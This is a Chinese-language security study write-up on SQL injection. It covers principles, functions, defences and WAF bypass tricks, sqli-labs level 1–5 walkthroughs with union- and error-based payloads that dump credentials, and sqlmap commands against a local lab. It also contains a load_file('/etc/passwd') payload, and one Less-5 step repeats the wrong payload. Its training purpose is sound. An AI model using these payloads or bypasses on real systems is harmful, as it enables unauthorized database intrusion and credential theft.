1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
1.1 SQL注入原理
SQL注入是一种网络安全漏洞,攻击者通过在应用程序的输入字段中插入恶意SQL代码,试图操纵或欺骗应用程序背后的数据库服务器执行非授权操作。SQL注入的核心是利用应用程序在处理用户输入时缺乏充分的数据验证和清理机制。
1.2 SQL注入常用函数及含义
union
用途:组合多个查询结果集。
示例:select column1 from table1 union select column2 from table2
select
用途:检索数据。
示例:select * from users where id = '1' or '1'='1'
concat
用途:连接字符串。
示例:select concat('user:', username, ', password:', password) from users
if 和 case
用途:条件判断。
示例:select * from users where id = if(1=1, '1', '0')
sleep
用途:延时函数,用于盲注。
示例:select * from users where id = '1' and sleep(5)
group_concat():
用途:将一组字符串连接成一个字符串,常用于结合 information_schema 表获取数据库结构信息。
示例:select group_concat(column_name) from information_schema.columns where table_name='users'
information_schema:
用途: 系统数据库,包含所有数据库的信息,如表(tables)、列(columns)等。
示例: select table_name from information_schema.tables where table_schema='dbname'
updatexml
用途:用于触发错误以获取数据库信息。
示例:updatexml(1, concat(0x7e, (select database()), 0x7e), 1)
extractvalue
用途:与updatexml类似,用于触发错误。
示例:extractvalue(1, concat(0x7e, (select database()), 0x7e))
1.3 SQL注入防御手段
使用参数化查询(预处理语句):预编译 SQL 语句,并且在执行时绑定参数,而不是将用户输入直接拼接在 SQL 语句中。
限制数据库权限:使用最小权限的数据库用户,仅提供必要的访问权限。
对输入进行验证:对用户输入进行严格的验证,确保输入的数据符合预期格式。
使用ORM(对象关系映射)工具:大多数 ORM 框架提供了内置的防注入机制。
使用SQL注入防护库:使用专门设计用于防止 SQL 注入的库。
使用 Web 应用防火墙(WAF):部署 WAF 以检测和阻止已知的 SQL 注入攻击模式。
1.4 SQL注入常用绕过waf的方法
1.4.1 编码和转义
URL编码:将特殊字符转换为其百分比编码形式。
示例:将单引号 ' 编码为 %27。
Base64编码:将SQL注入代码转换为Base64编码。
示例:将 1' OR '1'='1 编码为 MScgT1IgJDEnPT0nMQ==。
Unicode编码:使用Unicode编码来表示特殊字符。
示例:将单引号 ' 编码为 ' 或 \u0027。
1.4.2替换空格
使用注释符:用注释符替代空格。
示例:1' /**/ OR /**/ '1'='1。
使用特殊字符:用特殊字符(如换行符、制表符)代替空格。
示例:1'%0A' OR%0A'1'='1。
使用函数:使用SQL函数来替代空格。
示例:1' AND SLEEP(5) /* OR '1'='1 */。
1.4.3 大小写变换
混合大小写:使用混合大小写的SQL关键字。
示例:SeLeCt * FrOm usErs WhErE iD = '1' OR '1'='1'.
1.4.4 注释技巧
单行注释:使用 -- 或 # 来注释掉部分代码。
示例:1' OR '1'='1 -- 。
多行注释:使用 /* */ 来注释掉部分代码。
示例:1' OR '1'='1 /* */.
1.4.5 拆分查询
使用延迟执行:将查询拆分成多个部分,并使用延迟执行。
示例:1' AND (SELECT * FROM users) AND '1'='1.
使用注释分割:在查询的不同部分使用注释。
示例:1' -- AND '1'='1.
1.4.6 使用合法函数
UPDATEXML:利用UPDATEXML函数来触发错误。
示例:1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 3,1), 0x7e), 1) --+.
EXTRACTVALUE:利用EXTRACTVALUE函数来触发错误。
示例:1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e)) --+.
SLEEP:利用SLEEP函数来进行盲注。
示例:1' AND SLEEP(5) --+.
1.4.7 利用数据库特性
使用数据库特性:利用特定数据库的特性,如MySQL中的LOAD_FILE或INFORMATION_SCHEMA。
示例:1' AND (SELECT load_file('/etc/passwd')) --+.
1.4.8 使用HTTP请求头
利用HTTP请求头:将SQL注入代码嵌入到HTTP请求头中。
示例:在User-Agent或Referer字段中嵌入SQL注入代码。
1.4.9 使用合法字符
使用合法字符:使用WAF允许的字符来构造注入代码。
示例:使用=而非'来构造SQL注入代码。
1.4.10. 利用错误消息
利用错误消息:通过触发错误消息来获取有用的信息。
示例:1' AND (SELECT * FROM non_existent_table) --+.
2. sqli-labs通关前5关
Less-1
输入id=1
输入id=1’--+,加单引号判断闭合,发现为字符型注入
使用order by 判断数据库有几列:3列回显正常,4列出现报错,说明只有3列。
输入id=1’ order by 3 --+
输入id=1’ order by 4 --+
输入id=-1’ union select 1,2,3 --+
?id=-1'union select 1,database(),version()--+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
判断users表中下的字段名称
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+
?id=-1'union select 1,2,group_concat(username,"-",id,"-",password) from users --+
Less-2
输入?id=1
输入?id=1’判断闭合报错,发现为数字型注入
使用order by 判断数据库有几列:3列回显正常,4列出现报错,说明只有3列。
输入?id=1 order by 4 --+
使用联合查询union select 判断回显位置
id=-1 union select 1,2,3 --+
?id=-1 union select 1,database(),version()--+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+
?id=-1 union select 1,2,group_concat(username,"-",id,"-",password) from users --+
Less-3
输入?id=1’
输入?id=1’),发现成功闭合
使用order by 判断数据库有几列:3列回显正常,4列出现报错,说明只有3列。
?id=1') order by 3 --+
?id=1') order by 4 --+
使用联合查询union select 判断回显位置
?id=-1') union select 1,2,3--+
获取数据库名和版本信息:
?id=-1’) union select 1,database(),version()--+
?id=-1’) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
判断users表中下的字段名称
?id=-1’) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+
查询username,id,password
?id=-1’) union select 1,2,group_concat(username,"-",id,"-",password) from users --+
Less-4
输入?id=\
发现为字符型,且以双引号和括号进行闭合
输入?id=1”),成功闭合
同上面3次注入
直接输入
?id=-1“) union select 1,2,group_concat(username,"-",id,"-",password) from users --+
Less-5
输入?id=\
判断闭合方式为单引号闭合
输入?id=1’, 发现页面无回显
爆库名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
爆表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
爆数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+
3.总结SQLi的手工注入的步骤
3.1判断是否存在注入点:
注入攻击的第一步是确定目标页面是否存在 SQL 注入漏洞。通常,攻击者会在 URL 或表单参数后插入 ' 或其他 SQL 特殊字符(如 --、#)来测试目标页面是否报错或产生异常行为。
3.2 判断字段数量
在注⼊点后⾯添加语句【 order by int】,int的值可以是任意数字,但是⼀个数据表的字段数量通常不 超过10,若传的int值⼩于等于字段数量则正常回显,若⼤于字段数量,则⽆法正常回显
3.3判断字段前端回显位置
在链接后⾯添加语句【 union select 1,2,3,4,5,6,7,8,9,10,#】进⾏联合查询来暴露可查询
的字段号,看哪些字段是可以返回给我们前端进⾏渲染的,不进⾏返回的字段我们⽆法利⽤
3.4 判断数据库信息
利用内置函数(如 version()、database()、user())来获取数据库的基本信息。这些函数可以帮助攻击者了解目标数据库的版本、当前使用的数据库和用户信息
3.5 查找数据库名
通过查询 information_schema 数据库中的 schemata 表,可以找到所有可用的数据库名。
3.6 查找数据库表名
通过 information_schema.tables 表进行查询。
3.7 查找列名
查找到特定表名后,攻击者可以列出表中的所有列名。这可以通过查询 information_schema.columns 表来实现。
3.8 查数据
通过知道表名和列名,攻击者可以使用 UNION SELECT 注入来获取实际的数据。
4.使用sqlmap通过或验证第六关
4.1检测注入点
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1
4.2获取所有数据库
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 -dbs
4.3获取表
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 -D security --tables
4.4获取字段
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 -D security -T users --columns
4.5获取数据
python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-6/?id=1 -D security -T users -C id,username,password --dump